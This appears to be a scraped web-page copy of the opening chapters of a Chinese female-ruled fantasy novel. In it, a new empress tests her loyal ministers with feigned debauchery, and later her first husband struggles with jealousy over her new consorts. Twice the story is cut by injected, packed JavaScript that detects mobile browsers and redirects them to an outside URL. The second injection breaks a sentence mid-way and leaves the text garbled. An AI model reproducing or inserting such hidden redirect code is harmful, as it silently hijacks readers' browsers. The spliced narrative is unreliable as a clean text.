《女尊世界帝王修炼手册》 1. 龙椅试臣,赤霄启幕新纪元 赤霄元年,登基大典后第一日清晨。 承天殿内,与殿外那象征着新朝初立、万象更新的清朗晨光截然不同,此刻竟弥漫着一种香艳而奢靡的氛围。 巨大的黑曜石与黄金交错打造的龙椅之上,魏勉身着一袭以最顶级的金线绣着九条若隐若现、鳞爪狰狞的暗龙的玄黑真丝寝袍,正慵懒地斜倚着。 她的周围,七八名身形健美、容貌各异的年轻男子正小心翼翼地伺候着。 有的执羽扇轻摇,带起一阵混杂着花香与酒气的暖风; 有的手捧白玉盘,盘中盛着晶莹剔透、据说是从南海进贡的异域仙果,正一颗颗剥好,送到她的唇边; 更有两名容貌最为出挑的少男,正一左一右,在她身后轻柔地捶捏着肩颈。 殿下两侧,乐师们低眉顺眼地弹奏着一种略显靡靡的西域乐曲,数十名舞者皆身着几乎透明的、仅能在关键部位绣上繁复而陌生图腾的七彩纱罗——正随着那蛊惑人心的旋律,跳着一种充满了原始生命力与极致感官诱惑的舞蹈。 他们的腰肢如同水蛇般扭动,眼神在掠过御座时,会不自觉地带上一丝近乎于献祭般的狂热与敬畏,以及更深处那难以掩饰的,对这位高踞于权力顶端的年轻王上天威垂青的近乎病态的渴望。 那些曾与魏勉一同浴血奋战、打下这片江山的股肱之将、运筹帷幄的顶尖谋士,此刻皆垂首侍立于大殿两侧,一个个脸色凝重,噤若寒蝉,连大气都不敢出。 整个承天殿,压抑得让人喘不过气。而魏勉,似乎很享受这种氛围。 突然,为她捶捏左肩的那名美貌少男,或许是初次近身侍奉,紧张之下,手上的力道不小心重了几分,按到了魏勉颈椎处一处早年征战留下的旧伤。 “嘶——”魏勉猛地一挥手,一股无形的灵力劲风瞬间将那少男扫落在地!她声音冰冷刺骨,带着雷霆之怒:“废物!这点事都做不好,留你何用?!” 那少男吓得魂飞魄散,哪里还顾得上疼痛,立刻匍匐在地,声音颤抖:“王上息怒!奴......奴该死!奴该死!求王上饶命!” “王上息怒!” 殿内所有乐师、舞者、侍从,以及两侧的文武功臣,瞬间如同被割倒的麦子般,齐刷刷地跪倒一片。 山呼海啸般的请罪声,在空旷的大殿中回荡,充满了恐惧与臣服。 然而,就在这黑压压跪倒的人群之中,三个身影,却如同风雨中屹立不倒的青松,依旧傲然挺立。 为首的,正是魏勉最为倚重的军师——雍华鹤。她今日穿着一身洗得略微发白、却依旧整洁挺括的青色儒士长袍,身形清瘦,脊背却挺得笔直。 她并未去看那个犯错的少男,而是抬起头,一双因数夜未眠而布满血丝、此刻却燃烧着痛心与愤怒火焰的眼睛,如同两把出鞘的利剑,直直地盯着魏勉。 她的身后,左边是身着暗红色将铠、面容略带风霜却依旧坚毅的霍靖戎,她曾是魏勉麾下最勇猛善战的将军之一; 右边则是一位新晋提拔、身着银色轻甲、面容英姿飒爽的年轻将军——公孙誉,她以谋略奇巧、行事果敢而著称。 她们二人此刻也同样挺立着,神情肃穆,眼神中充满了对雍华鹤的支持和对王上行为的不解,与一丝失望。 魏勉的目光,落在了雍华鹤身上。 “雍军师,”她的声音轻飘飘的,仿佛不带一丝重量,却又带着一种无形的、令人心悸的压力,“你这般看着孤,可是有什么话,想好好‘指教指教’孤啊?” 雍华鹤迎着她那带着戏谑与威压的目光,没有丝毫的退缩与畏惧。她的声音因为激动而略显沙哑,却异常坚定,如同金石相击,响彻整个沉寂的大殿: “王上!臣,不敢称‘指教’!唯有肺腑之言,沥血之忠,不得不发!” 她上前一步,朗声道:“王上以盖世神武一统神州,开创我宵朝万世基业,此诚前无古人,后亦难有来者之千秋大业!万民感念,四海臣服!” 她的声音顿了顿,充满了对魏勉功绩的由衷赞叹。但随即,话锋一转,眼中瞬间充满了痛心疾首之色: “然!大业初定,根基未稳!内有百废待兴,民生凋敝;外有北戎残部虎视眈眈,东溟异族蠢蠢欲动!王上身为天下共主,正当宵衣旰食,励精图治,选贤任能,革故鼎新,为万世开太平,为子民谋福祉!岂能......岂能在这象征着宵朝最高权力的承天殿上,效仿前朝末代那些耽于享乐、荒淫无道的昏君和领主,沉溺于声色犬马,疏怠于朝政国事?!” “若因此而失了万民敬仰之心,寒了百官死战之意,则......人心离散,悔之晚矣!” 一番话,字字泣血,句句诛心!如同暮鼓晨钟,狠狠敲击在每一个人的心头。 听完雍华鹤这番冒着生命危险的直谏,魏勉没有发怒,也没有表态,只是将目光缓缓移向同样挺立不跪的霍靖戎和公孙誉。 “霍将军,公孙将军,”她淡淡开口,声音听不出喜怒,“你们二人,也是这般想的?” 霍靖戎上前一步,抱拳沉声道:“雍军师所言,字字句句,亦是臣之心声!食君之禄,忠君之事!王上若有不妥之处,臣等......万死不敢不谏!” 公孙誉也朗声道:“臣附议!宵朝初立,王上之德行,乃万民之表率,天下之观瞻,不可不慎之又慎!” 魏勉静静地听着,看着这三位在她刻意营造的“龙威”之下,依旧敢于直言不讳、坚守臣子本分的股肱之臣,终于满意地笑了。 “好!好!好!” 她连说三个“好”字,缓缓从龙椅上站起身,一股远比刚才那荒唐姿态下更令人心折的、属于开国君主的无上威仪与磅礴气场,瞬间笼罩了整个大殿。 “你们三个!孤果然没有看错人!” 她挥了挥手,对那些依旧匍匐在地的美男、舞者,以及那个早已吓得快要晕厥过去的侍奉少男说道:“都别演了,今日的戏到此为止。退下。” 众人如蒙大赦,连滚带爬、狼狈不堪地退出了大殿。转眼间,方才还充满了靡靡之音与香艳气息的承天殿,便恢复了它应有的庄严肃穆。 待殿内清净下来,只剩下魏勉和那些依旧跪着的、以及刚刚因为她的肯定而重新站直了身子的三位不跪者,魏勉才重新开口,声音恢复了属于开国君主的沉稳、威严,与洞悉一切的锐利: “雍军师方才说得没错,孤开启的,确实是前所未有之大业!” 她的目光如同实质般扫过全场,带着一种足以穿透人心的力量:“但为何说是‘前所未有’?不仅仅是因为孤扫平了这片纷乱了数百年的土地,建立了统一的王朝。” 她的声音陡然拔高,充满了斩钉截铁的决断:“更是因为,孤要彻底终结那个由所谓的‘月氏共主’一脉相承、实则早已名存实亡、各大氏族各自为□□朽不堪、民不聊生的旧时代!” 她开始历数旧有政体的种种弊病,声音如同惊雷,震动着每一个臣子的心灵: “旧制之下,共主孱弱,威权不行于列族!各氏族族母在其领地之内,生杀予夺、说一不二,赏一人,罚一人,全凭她们的喜怒好恶,何曾有过统一的法度?族规家法凌驾于天下公义之上,私刑泛滥,冤狱丛生!如此,何谈公平?何谈秩序?” “各大氏族律令各异,标准不一,甚至互相冲突!更有甚者,世家贵族触犯律法,可以金钱赎罪,可以权势庇护,而平民百姓稍有不慎,便可能倾家荡产,家破人亡! 如此双重标准,与暴政酷吏何异?!” “政令不出王畿,民情难以上传!中央的号令,到了各大氏族便被层层截留,阳奉阴违;底层的疾苦,亦被各级官员掩盖粉饰,难以直达天听! 官员选拔,全凭家族举荐,门阀子弟垄断晋升之路,有才华的寒门之士却报国无门!如此闭塞僵化,何谈发展?何谈强盛?” “各大氏族更是将灵脉、矿产、良田沃土视为禁脔,肆意开采,横征暴敛,只为中饱私囊,却从不顾及民生凋敝,涸泽而渔! 以致富者田连阡陌,穷者无立锥之地!一旦遭遇旱涝天灾,更是饿殍遍野,易子而食,人间惨剧,罄竹难书!如此自私自利,与窃国之贼何异?!” 每一句质问,都如同重锤般,狠狠敲击在所有经历过那个混乱时代的臣子的心头。让她们想起了那个刚刚结束的、充满了分裂、不公、压榨与无尽苦难的旧日。 然后,魏勉话锋一转,眼中燃烧起对未来的无限憧憬与不容置疑的决心:“而孤,魏勉,今日站在这里,就是要告诉你们—— “那样的时代,将由孤亲手终结。 孤要开启的,是一个能够辐射神州大地每一个角落的、宏大的、全新的时代! 在这个全新的宵朝,将有统一的法律,无论贵贱,罪罚相当! 将有通畅的言路,无论尊卑,其声皆可上达! 将有公平的选拔,无论出身,唯才是举! 将有集中的资源调配与合理的税赋,以安天下民生,以强我宵朝国力。” “这段开创万世基业的征程,注定艰难,注定漫长!但孤坚信,只要君臣同心,众志成城,我们宵朝,必将迎来一个四海升平、八方来朝、前所未有的清明盛世! 这,需要在场的每一位臣子,与孤一同披肝沥胆,共建这不世之功业。” 她的声音充满了令人信服的感染力和令人热血沸腾的煽动力,殿下那些原本还心存疑虑或恐惧的臣子们,眼中渐渐燃起了希望、激动、乃至狂热的火焰! 在众人情绪被调动到最高点时,魏勉才缓缓将目光再次投向雍华鹤、霍靖戎、公孙誉三人,脸上露出了真正的、带着赞赏与期许的笑容: “至于方才殿上种种......不过是孤与诸位,尤其是与这三位爱卿,效仿前人作风演的一出小节目,一场‘试心石’罢了。” 她看着三人眼中那一闪而过的了然与释然,继续道:“孤想看看,在我宵朝初立、孤王威严日盛之时,还有多少人,敢于不畏龙颜震怒,不惧斧钺加身,能坚守本心,直言进谏,指出孤可能存在的不妥之处。幸好,孤没有失望!雍军师、霍将军、公孙将军,你们,便是孤心中最渴望得到的、也是我宵朝未来最需要的国之柱石!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817776|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她顿了顿,声音变得更加深沉有力:“宵朝的建立,是从私天下走向公天下,从蒙昧割据走向清明统一的开始!这条前无古人的道路,尤其需要有你们这样敢于坚持原则、不阿谀奉承、真正心怀天下苍生的臣子,来与孤一同披荆斩棘,时刻警醒。 否则,孤一人,纵有三头六臂,也难免被胜利冲昏头脑,被奸佞小人所蒙蔽,重蹈前朝那些亡国之君的覆辙!” 这番推心置腹的剖白,让雍华鹤三人心中也是激荡不已,对这位年轻君主的敬佩与效忠之心,达到了前所未有的顶点。 “雍华鹤、霍靖戎、公孙誉,上前听封!”魏勉的声音再次变得威严无比,充满了不容置疑的王者气概。 三人立刻上前一步,单膝跪地,神情肃穆。 “今,孤开创宵朝,鼎定天下,当设三枢辅政,以安社稷!” “封雍华鹤为宵朝首辅大臣,辅佐孤总理百政,协调内外,制定国策,尊号‘天衡母’!愿你以无私之心,为我宵朝平衡阴阳,权衡利弊,奠定万世之基业!” “封霍靖戎为宵朝大司戎,辅佐孤统管天下兵马,规划军制,抵御外侮,尊号‘镇戎母’!愿你以雷霆之威,为我宵朝镇守四方,开辟不朽之军功!” “封公孙誉为宵朝巡查御史大夫,督查百官,肃正朝纲,直言进谏,尊号‘明镜母’!愿你以清明之心,为我宵朝澄清玉宇,监督不法,使宵朝永葆清明!” 册封完雍华鹤、霍靖戎、公孙誉这三位新朝的核心辅臣,魏勉的目光缓缓扫过阶下百官。她的声音再次响起,这一次,带着一种对远方将士的敬意与期许,也充满了君临天下的决断: “宵朝初立,内政需革新,边防亦是重中之重。有两位国之柱石,她们虽此刻正为孤镇守边陲,未能亲临承天殿,然其赫赫战功,彪炳史册,孤与宵朝,绝不会忘记!” 殿内群臣闻言,皆屏息凝神,知道王上接下来要说的,必然是关乎那两位威名远扬的、宵朝军方真正的擎天巨擘——北境的裴景懿大统率,与东海的段蔚之大统率。 只听魏勉继续朗声道,其声威严,传遍整个大殿: “传孤旨意!” “北境大统率裴景懿,于统一战争中,力挽狂澜,数次以少胜多;更于玄霜谷一役,配合孤王主力,重创北戎元气,厥功至伟!今宵朝建立,特晋封其为‘定北擎天大统率’!” “赏,北境三千里灵脉自主调配权十年!赐黄金百万两,上品灵晶三千枚!准其于麾下扩建直属”雪狼玄甲卫”至五千人,军械粮草由中央优先拨付!望裴统率,继续为我宵朝,守护好北方万世门户!” 此封赏一出,殿内响起一片倒吸凉气之声!北境灵脉的自主调配权!黄金百万,上品灵晶三千!更不用说那扩建至五千人的、战力恐怖的雪狼玄甲卫! 这等恩宠与信任,简直是前所未有!群臣看向王上的目光,更加敬畏。 魏勉并未理会群臣的反应,继续宣告: “再传孤旨意!” “东海大统率段蔚之,于统一战争中,坐镇东溟,荡尽千里波涛,肃清海疆匪患,更在战后积极开辟海上商路,为我宵朝带来源源不断的财富与资源,功不可没!今宵朝建立,特晋封其为‘靖海裂空大统率’!” “赏,未来十年,东海贸易三成收益归其调配,用于扩建水师及改善水师将士用度!赐其宵朝水师训练、调度、乃至部分将佐任免之全权!准其于皇家船坞督造百丈楼船十艘,所需珍稀木材与灵晶由国库拨给,上品灵晶亦赐三千枚!望段统率,为我宵朝,开辟出更广阔的蓝色疆域,扬我宵朝国威于四海!” 又是一番惊人的封赏!几乎是将整个水师的未来都托付给了段蔚之!这不仅是对段蔚之能力的极致信任,更是展现了魏勉开拓海洋、发展贸易的雄心壮志! 宣布完毕,魏勉对新任首辅大臣雍华鹤道:“雍爱卿,着礼部与兵部即刻共拟金册铁券,备齐所有赏赐之物,由王室特使护送,以最快速度送往北境与东海,向两位大统率宣诏,并昭告全军,以彰其不世之功!” 虽然裴景懿与段蔚之未曾亲临,但王上魏勉这番毫不吝啬的重赏与对她们镇守边疆、开拓疆土的殷切期盼,已然通过这公开的宣告,清晰地传递给了殿内每一位臣子。 众人皆感受到这位开国君主宏大的气魄、掌控全局的自信、以及那份不容置疑的、要将宵朝带向辉煌盛世的决心。 最后,魏勉张开双臂,仿佛要拥抱整个初生的王朝,声音充满了力量与希望: “诸位爱卿!旧的时代已经沉沦!新的宵朝,正等待着我们去挥洒所有的热血与智慧,去开创一个彪炳史册、万国来朝的辉煌盛世!” 群臣被魏勉那睥睨天下的气场和那宏伟壮丽的愿景所彻底震撼、折服。她们心中的所有疑虑、所有不安,在这一刻都化为了对这位开国君主的无限崇敬与狂热效忠! 所有人再次山呼海啸般叩拜下去,这一次,是发自内心的、真心实意的臣服与拥戴: “王上圣明! 王上万岁!万岁!万万岁!!!” 2. 新王稚态,君心暗流初涌现 白日里承天殿上那场充满了雷霆手段与万丈豪情的开朝大典暨第一次朝会,其激荡的余波似乎尚未完全平息。京都的空气中,还弥漫着新生的喜悦与对未来的无限遐想。 而王宫深处,却在喧嚣落幕后,渐渐被深沉的夜色与静谧笼罩。 金碧辉煌的寝殿内,淡淡的沉香驱散了白日里的金戈铁马之气,只留下一种胜利后特有的、近乎微醺的沉静。窗外万家灯火渐次熄灭,臣民的欢呼也已远去,唯有宫墙上巡逻卫兵甲叶偶尔碰撞的微响,提醒着此地的与众不同。 魏勉独自站在巨大的落地窗前,只着一袭绣金龙纹的玄黑常服,并未佩戴象征威仪的冠冕。长发如墨披散,衬得她挺拔的肩颈线条愈发利落。 她俯瞰着脚下沉睡的王都,这座由她亲手打下的城池,如今是她的天下。烛光在她侧脸上勾勒出柔和的光晕,但那双看向远方的眼眸里,除了胜利的辉光,似乎还沉淀着一丝不易察觉的、属于上位者的深思与重量。 这天下,终究是握在自己手中了。 殿门被轻轻推开,打破了她的沉思。 昭彦走了进来。他已卸下伴随他征战多年的沉重战甲,换上了一身舒适的深色锦袍。少了甲胄的遮掩,他身姿更显挺拔,此刻眼中没有了沙场的凌厉,只剩下望向魏勉时,满溢的骄傲、安心与爱意。 看到她安然立在这里,是他的王上,也是他的妻主,这比夺下任何城池都让他心安。 他无声地走到魏勉身后,双臂自然而然地环住了她的腰身,下巴轻轻抵在她颈窝,带着一丝如释重负的笑意:“勉儿,我们......不,是你,终于做到了。” 被这熟悉的、带着绝对安全感的气息包裹,魏勉紧绷了一整天的身体,终于彻底放松了下来。她甚至有些孩子气地向后仰了仰,将全身的重量都靠在了他坚实的胸膛上。 她转过身,抬手抚上他环在腰间的手臂,眼中是与方才迥然不同的、明亮而炽热的光芒。 她握住他的手,语气坚定而温暖:“是我们,昭彦。我们一起做到的。” 她的笑容灿烂、真挚,那一瞬间,仿佛还是那个在战火中与他并肩的少年,只是眉梢眼角,已然多了几分乾坤在握的沉稳自信。 突然,她仿佛想起什么,那双之前还盛满了深思与疲惫的双眼,此刻却闪烁着毫不掩饰的得意与一丝丝只有最亲近的人才能察觉到的、在巨大成功后急于“炫耀”、渴求表扬的雀跃光芒。 “昭彦!昭彦!”她的声音不再是平日里那种沉稳威严的君主之音,而是恢复了只有在他面前才会偶尔流露的清脆。 “白日里她们在承天殿,是不是都被我镇住了?!是不是一个个都吓得不敢说话?!我最后那番话,说得怎么样?是不是特别威风?!特别有气势?!” 他忍不住低低地笑出声来,伸出手轻轻刮了一下她的鼻尖,声音里是满满的、毫不掩饰的骄傲与深情:“是,你做到了。” “你今日,光芒万丈,无人能及。” 他凝视着她的眼睛,一字一句,无比认真地说道,“是我昭彦此生所见过的,最了不起、也最耀眼的王上。” “真的?!”魏勉的眼睛更亮了,她上前一步,将头轻轻靠在他胸前,感受着他熟悉的心跳和身上那让她安心的气息,满足地长长舒了一口气,声音也变得柔软下来,带着一丝只有在他面前才会显露的、卸下所有防备后的慵懒与依赖。 “有你在......真好。”她低声呢喃,像是在说给他听,又像是在对自己说。 魏勉仰头看着他,眼底波光流转。她的指尖在他手臂的皮肤上轻轻划过,那触感带着熟悉的眷恋,却又似乎比往日多了一丝不容置疑的力度,仿佛在确认什么。 她凑近他耳边,气息温热,声音低柔,却字字清晰: “昭彦,你永远是我的。” 她的语气温柔平静,但那五个字落下时,却带着一种近乎本能的宣告,如同巨龙守护着最珍贵的宝藏。 这世间万物,唯有这个人,是她无论如何都要牢牢抓住的真实。 他似乎也感受到她动作间偶尔流露出的......不容拒绝的主导与掌控。那与往日嬉闹间的强势不同,带着一种更深沉、更本质的东西。 昭彦的心,在那一瞬间,如同被什么轻轻拨动了一下,微微一跳。他清晰地感受到她那份浓烈到极致的爱意,仿佛要将他彻底烙印上她标记的占有感,与过去单纯的亲昵相比,似乎多了一点什么。 这个念头只是一闪而过,快得几乎无法捕捉。因为下一刻,魏勉的声音再次响起: “昭彦,我爱你。比任何时候都要更爱你。” 这炽热而坦诚的告白,瞬间冲散了昭彦心中那一丝微不可查的异样感。他收紧手臂,用力将她拥入怀中,将自己完全沉浸在这胜利与爱情交织的巅峰时刻。 是的,她是爱他的,这就够了。 其他的......暂时,都不重要。 只是,不过数月,来自朝堂重臣、各大氏族族母乃至民间望族的劝谏便如同潮水般涌向了王座——为宵朝开枝散叶,诞育灵力强大的皇嗣;以联姻之名,平衡各方势力,安抚人心。 每一个理由都冠冕堂皇,都指向国家大计,都压在“魏勉”这个名字所承载的帝王职责之上。 魏勉坐在高高的灵枢院议事殿中,指尖无意识地摩挲着蟠龙扶手,听着下方臣子们又一次委婉却坚定的奏请。 她知道,这一天终究会来。她需要盟友,需要用后宫的平衡来折射前朝的稳定,更需要很多流淌着她至高灵力血脉的继承人。 这是她身为开国君主的宿命,是为了这个她与昭彦并肩打下的江山。 最终,在又一次冗长的朝议之后,魏勉平静地颔首,应允了,没有过多的表情。 仪式定在了一个秋高气爽的日子。地点并未选在威严肃穆的金銮殿主殿,而是设在了稍显雅致、用于接待和宴饮的玉麟殿。饶是如此,该有的礼仪与排场却丝毫未减,各部重臣、主要氏族代表皆列席观礼,气氛庄重,却又带着一丝心照不宣的微妙。 魏勉身着略显简便却依旧威仪棣棣的赤色朝服,端坐于殿上主位。她的面容沉静,看不出喜怒,目光平视前方,仿佛只是在处理一件再寻常不过的政务。 昭彦作为首夫,则侍立在她身侧稍后一步的位置。他依旧穿着代表他身份的深色锦袍,身姿挺拔如松,脸上甚至还带着一丝合乎礼仪的、淡淡的微笑。只有他自己知道,那微笑的面具之下,是怎样一颗被嫉妒和酸楚反复噬咬的心。 精心挑选的男子被依次引入殿中。他们或出身名门望族,或身怀特殊技艺,或是在过往的战事、建设中立有功勋的力者佼佼者。无一例外,他们都容貌出众,风姿各异,站在一起,确实是一道足以令任何女子心动的风景线。 每有一人上前行礼,秉笔官员便会高声唱喏其家世、功绩或特长。魏勉的目光会短暂地停留在他们身上,微微颔首,算是认可。 都是人中俊彦。若在过去,她或许会为结交这样的英才而欣喜。但现在...... 但现在,每多看他们一眼,昭彦的样子便不受控制地浮现在她脑海。那个在她最狼狈、最无助时依旧紧握她手的男人;那个在无数个浴血奋战的日夜里,将后背交给她的男人;那个昨夜还在她怀中,诉说着爱语的男人...... 她端起御案上的茶盏,轻轻抿了一口,借以掩饰自己的走神。 而站在她身侧的昭彦,则将这一切尽收眼底。他看着那些男子,他们年轻、英俊、才华横溢,代表着不同的势力和可能性。 他看着魏勉平静地接受他们的叩拜,看着她偶尔落在他们身上的、那属于帝王的审视目光。他强迫自己保持微笑,强迫自己想着“这是为了勉儿的江山稳固”,强迫自己理解这是她身为君主的无奈。 当唱喏到某几个名字时,连魏勉那看似平静的目光,也不由得多停留了片刻。 其一,北境统率裴景懿之子——裴景然。 他一袭玄黑缀银狼纹的劲装,身形挺拔如北境雪松,行走间带着军人特有的沉稳与锐利。他的模样虽仍未完全褪去少男的青涩俊逸,线条却已然分明而硬朗,剑眉之下,眼中闪烁着坚毅、冷静、以及一丝难以驯服的野性光芒。左边眉骨处一道浅淡的疤痕,非但没有破坏他的英武,反而平添了几分属于沙场男儿的、令人心折的战损之美。 他上前行礼时,动作干净利落,没有丝毫多余的矫饰。当他抬起头,那双如同雪狼般锐利的眼眸直视魏勉时,其中没有谄媚,没有畏惧,只有一种全然的、近乎于信仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他穿着一身极其简约的、没有任何纹饰的月白色祭祀袍服,长发用一根古朴的木簪松松挽起。他的五官极其精致,如同最完美的玉雕,却又因为那过于苍白的肤色和过于幽深的眼眸,而显得有几分妖异。 他不像其他人那样急于展现自己,只是安静地站在那里,目光仿佛穿透了这金碧辉煌的大殿,望向了更遥远的、未知的虚空。当秉笔官员念到他的名字和其母封彩时,他才缓缓抬起眼,看向魏勉。 他的目光落在魏勉身上时,没有丝毫的谄媚或畏惧,仿佛在透过她的□□,直视她的灵魂,探究她的天机与命数。 他并未献上任何实质的礼物,只是对着魏勉,用一种极其缓慢而悠扬的、带着某种奇异韵律的声音,轻声说道:“封氏仰止,叩见当世之主。愿星辰指引您的道路,愿智慧启迪您的王权。臣愿以卑微之身,为陛下观星卜运,趋吉避凶。” 他的声音,如同从遥远时空传来的神谕,带着一种令人心神宁静却又莫名敬畏的力量。 昭彦看着封仰止,心中却升起一股更加复杂难言的滋味。 她......她会需要这种人吗?一个能与她探讨天命、星辰、甚至更虚无缥缈东西的人?而我......我除了沙场征伐、军政庶务......还能给她什么呢? 他不知道,也不敢深想。他只知道,从今往后,会有更多的人,以侍君之名,名正言顺地站在她的身边。而他,这个与她一同打下江山的首夫,却仿佛成了需要去理解和隐忍的角色。 他只能站在这里,微笑着,扮演好一个贤良的首夫,还要掩饰自己出身普通的心虚和自卑。每一次隐忍,都像是将他对她的爱意锤炼得更加炽热,也更加痛苦。 仪式终于结束。新晋的侍君们在宫人的引领下退去,自有内廷官员安排他们的住处和份例。朝臣们带着满意的神情告退,玉麟殿内很快便只剩下魏勉和昭彦,以及几个低眉顺眼的近侍。 方才还算热闹的殿宇,骤然安静下来,只剩下烛火偶尔爆开的轻响。 魏勉没有看昭彦,只是端起那杯早已凉透的茶,又抿了一口。 昭彦也没有说话,只是默默地站在那里,脸上的笑容已经消失,只剩下一种难以言喻的疲惫和沉郁。 两人之间,隔着不过数步的距离,却仿佛隔着千山万水。 空气中,弥漫着权力带来的荣耀,胜利带来的喜悦,以及初次妥协带来的、那份心照不宣的酸楚与裂痕。 3. 雨夜一诺,太子降世定乾坤 新晋的侍君们入宫已足月。 殿外是深秋的寒夜,冷雨敲打着檐角,狂风呜咽着掠过空旷的宫廷,仿佛有无形的野兽在黑暗中低吼。 殿内,巨大的鎏金蟠龙柱在跳跃的烛火下投射出扭曲而晃动的影子,与从高窗渗入的惨淡月光交织,更显得这权力中枢空旷而孤寂。 就在这时—— “哐当!” 沉重的殿门被人从外面用蛮力撞开,发出的巨响在空旷的大殿中激起骇人的回响。两个守门宫人惊慌失措地想拦,却被来人一把粗暴地推开。 昭彦冲了进来。 他甚至来不及整理自己因疾奔而散乱的鬓发和略显狼狈的玄色锦袍,仿佛是从某个绝望的角落挣脱出来,带着一身寒夜的雨气和不顾一切的疯狂。那双曾无比温柔平和的眼睛,此刻却燃烧着嫉妒、痛苦、屈辱,以及一种几乎要将他自己焚毁的、卑微到尘埃里的渴求。 他无视了周围宫人惊恐避让的目光,径直冲到御阶之下,沉重的膝盖狠狠砸在冰冷的金砖上,发出“咚”的一声闷响,仿佛连同他的骄傲与自尊一同摔碎。他双手撑地,额头几乎抵上地面,用一种沙哑到破裂、颤抖不止的声音,近乎泣血般地嘶喊出来: “王上,妻主,勉儿!臣求您,宠幸臣吧!” 三个称呼,层层递进,每一个都像是一把刀,捅进他自己的心窝,也狠狠扎向龙椅上那个他爱到疯魔的女人。 大殿内死一般的寂静,连烛火摇曳的噼啪声都清晰可闻。所有宫人都吓得魂飞魄散,深深低下头颅,恨不得能钻进地缝里去。 魏勉猛地坐直了身体,手中的奏疏“啪嗒”一声滑落在地。她瞳孔骤缩,脸上血色褪尽,震惊、难以置信以及一种尖锐的心疼瞬间攫住了她。她几乎是踉跄着起身,绕过龙案,快步走到昭彦面前,声音因急切而微微发颤,试图去扶他:“昭彦!你......你这是做什么?!疯了吗?快起来!” 她的声音里交织着帝王的威严、妻主的关切,以及勉儿独有的那份被刺伤的柔情。 然而,昭彦却像磐石般跪在那里,纹丝不动。他猛地抬起头,布满血丝的双眼死死盯着魏勉,泪水混杂着雨水从他坚毅的脸庞滑落。他攥紧双拳,呼吸颤抖,用一种近乎自虐的语气,将压抑了无数个日夜的毒汁倾泻而出: “我有力气,有的是力气,让我也服侍您好不好?” “王上......”他的声音哽咽了,带着浓重的鼻音和自尊彻底破碎后的残响,“臣都听说了......您日日......日日召那些人......却唯独不召臣......臣在您心中,究竟算什么?还是臣的身体......已经不配让您多看一眼了吗?” 魏勉的心像是被一只无形的手狠狠攥住,痛得她几乎无法呼吸。她强行拉起昭彦,将他按坐在龙椅旁的软榻上,不顾他微弱的挣扎,亲自为他倒了一盏温热的安神茶,递到他唇边。 她的声音放得极柔,带着一丝不易察觉的颤抖,目光却无比真诚地锁住他:“昭彦,看着我。” 待他终于抬眼,她才一字一句,清晰地说道:“孤从不曾疏远你,也从未厌弃你。” 她伸出双手,轻轻捧住他冰冷而沾着雨水和还有泪水的脸颊,用指腹温柔地拭去那些水痕。 待他那双几乎要喷出火来的眼睛,终于因为她的温柔而有了一丝焦点的凝聚,她才一字一句,清晰无比地说道:“那些让你辗转难眠的传闻,那些让你心痛如绞的臆想,都不是真的。” “不是......真的?”昭彦的声音沙哑得厉害,充满了不敢置信。 “自然不是真的。”魏勉的眼神无比坦荡,甚至带着一丝被误解的委屈,“你胡说什么‘不配’?那些新入宫的侍君,孤召见他们,确有其事。但......”她顿了顿,语气变得意味深长,“不过是探探他们心思,顺便安抚人心罢了。” 她轻轻叹了口气,声音里带上了一丝属于君王的疲惫与无奈:“你也知道,宵朝初定,百废待兴。那些在统一战争中出过力的世家大族、军功新贵,她们送来的子弟,孤能全然拒之门外吗?若是一个不见,岂非显得孤王刻薄寡恩,容不下有功之臣?” “只是,后宫之中人心叵测,流言蜚语、各怀鬼胎,都是常态。会有急于固宠或挑拨离间的侍君,会故意释放出自己深受王恩的虚假信号,以此来抬高身价,或者......特意来气你,动摇你的地位。 孤召见他们,与他们聊聊天,赏赐些物件,不过是做给外面那些人看的。让他们知道,孤雨露均沾,并未忘记他们的忠心。同时......” 她的目光变得深邃了些,“孤也需要时间,去观察这些人,去掂量他们背后的家族,去平衡这后宫之中可能出现的种种势力倾轧。在孤彻底看清他们的底细和真正用途之前,又怎会轻易交付其他?” 昭彦的心脏,因为她这番话,剧烈地跳动起来。 是......是这样吗?她......她并没有...... 魏勉仿佛看穿了他的心思,语气更加柔和,甚至带上了一丝心疼:“孤知道,你和他们不一样。你想要的,从来都只是孤这个人,这份情。” “也正因如此,”她的指尖轻轻抚过他紧皱的眉头,“孤才更不能在一开始就将你推上风口浪尖。你没有显赫的母族在背后支撑,若孤在这后宫格局未稳、各方势力都在暗中角力之时,便表现出对你独一无二的倚重与专宠,只会让你成为众矢之的,招来无数明枪暗箭。” “孤是不想你被牵扯进这些无谓的、肮脏的争斗中啊!” 她的声音里,带上了一丝独属于“勉儿”的嗔怪与柔情。 这番话,浇熄了昭彦心中那燃烧的妒火与绝望。原来,她暂时的冷落,竟是为了保护他? 他看着她眼中那毫不作伪的关切与温柔,心中那块因为误解而凝结的坚冰,开始迅速融化。他想说些什么,喉咙却哽咽得发不出声音,只能用力地、一遍遍地摇头,泪水再次模糊了双眼。 她能感觉到怀中男人的身体,从最初的僵硬,到渐渐放松,再到因为压抑不住的激动而微微颤抖。 “昭彦,”魏勉轻轻拍着他的背,如同安抚一个受了委屈的孩子,“孤知道,再多的言语,也难以弥补你这些日子所受的煎熬。孤......答应你。” 她微微推开他一些,让他能看清自己眼中的郑重: 她顿了顿,握紧了他的手,每一个字都像是烙印:“我向你承诺——”她的语气无比郑重,“在我怀上并生下属于我们俩的女儿之前,我绝不会碰任何其他侍君。 我会尽快要一个我们的孩子,一个女儿。她,将是我宵朝唯一的太子,我会将我毕生灵力与这万里江山,都传给她。” 